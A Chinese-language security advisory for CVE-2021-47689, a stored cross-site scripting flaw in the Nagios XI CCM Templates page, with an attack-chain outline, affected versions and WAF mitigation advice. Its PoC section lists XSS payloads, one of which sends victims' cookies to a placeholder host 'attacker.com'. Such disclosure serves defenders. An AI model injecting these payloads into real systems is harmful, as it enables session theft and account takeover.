IPBUF安全漏洞报告
English
CVE-2021-47689 CVSS 5.4 中危

CVE-2021-47689: Nagios XI CCM Templates页面存储型XSS漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2021-47689
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI Core Config Manager (CCM)

相关标签

CVE-2021-47689XSSStored XSSCross-Site ScriptingNagios XICCMWeb应用漏洞存储型跨站脚本配置管理漏洞

漏洞概述

Nagios XI是美国Nagios Enterprises公司的一套IT基础设施监控解决方案。Core Config Manager(CCM)是其核心配置管理组件,用于管理Nagios XI中的各种配置对象,包括监控模板、主机、服务等。该组件在处理Templates页面中的Active/Actions按钮渲染逻辑时,存在一处存储型跨站脚本(Stored XSS)漏洞。攻击者可以通过在模板配置中注入恶意JavaScript代码,当其他用户访问受影响的页面时,恶意脚本会在其浏览器上下文中执行,从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。由于该漏洞位于配置管理界面的UI逻辑中,攻击门槛较低,任何拥有配置管理权限的低权限用户均可尝试利用此漏洞。漏洞影响范围涵盖Nagios XI 5.8.0之前的所有版本以及CCM 3.1.0之前的版本。

技术细节

该漏洞根因在于CCM组件的Templates页面在渲染Active/Actions按钮时,未对用户可控的输入进行充分的HTML实体编码或输入验证。攻击者可在创建或修改监控模板时,将恶意Payload注入到模板名称、描述或相关配置字段中。当其他用户浏览模板列表或访问特定模板页面时,后端程序将这些未经过滤的数据直接嵌入到HTML响应中,浏览器将其作为有效脚本执行。具体利用方式为:在模板配置接口中构造包含<script>标签或事件处理器(如onerror、onload等)的Payload,例如在模板名称字段中插入恶意代码。存储型XSS的特点是Payload被永久存储在服务器端,所有访问该页面内容的用户都会受到攻击影响。攻击者利用此漏洞可绕过同源策略限制,窃取受害者的认证令牌,进而在Nagios XI系统中执行更高权限的操作。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统为Nagios XI,探测CCM组件的访问路径和管理模板接口的URL结构
STEP 2
Authentication
攻击者使用低权限账户登录Nagios XI系统,无需高权限即可访问CCM配置管理功能
STEP 3
Payload Injection
在CCM的Templates页面创建或编辑模板时,将恶意JavaScript代码注入到模板名称、描述或其他可编辑字段中
STEP 4
Persistence
恶意Payload被存储在数据库中,当管理员或其他用户访问模板列表页面时,Payload随页面内容一同返回
STEP 5
Execution
受害者的浏览器解析HTML响应时,将未经过滤的用户输入作为脚本执行,触发XSS攻击
STEP 6
Impact
攻击者通过XSS窃取受害者Cookie、会话令牌,可进一步劫持管理员账户或获取系统完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2021-47689 PoC: Stored XSS in Nagios XI CCM Templates --> <!-- Steps: --> <!-- 1. Login to Nagios XI with low-privilege user --> <!-- 2. Navigate to: Admin > CCM > Manage Templates --> <!-- 3. Create or Edit a template --> <!-- 4. Inject XSS payload in template name/description field --> <!-- 5. Save the template --> <!-- 6. Any user viewing the template list will trigger the XSS --> <!-- Payload Example 1: Script tag --> <script>alert(document.cookie)</script> <!-- Payload Example 2: Event handler --> <img src=x onerror=alert('XSS')> <!-- Payload Example 3: Inline JavaScript --> <svg onload=fetch('http://attacker.com?c='+document.cookie)> <!-- HTTP Request Example (if stored in template name): --> <!-- POST /nagiosxi/includes/components/ccm/templates.php HTTP/1.1 --> <!-- ... --> <!-- template_name=<script>alert(document.cookie)</script>&action=save -->

影响范围

Nagios XI < 5.8.0
CCM < 3.1.0
Nagios XI 5.7.x 及更早版本
Nagios XI 5.6.x 及更早版本

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则对CCM模板相关接口的请求进行过滤,拦截包含<script>、<img>、<svg>等可能触发XSS的标签和事件处理器(如onerror、onload、onclick等)的请求。同时限制低权限用户对CCM模板管理功能的访问,并监控日志中的异常请求模式。建议在生产环境中尽快部署官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表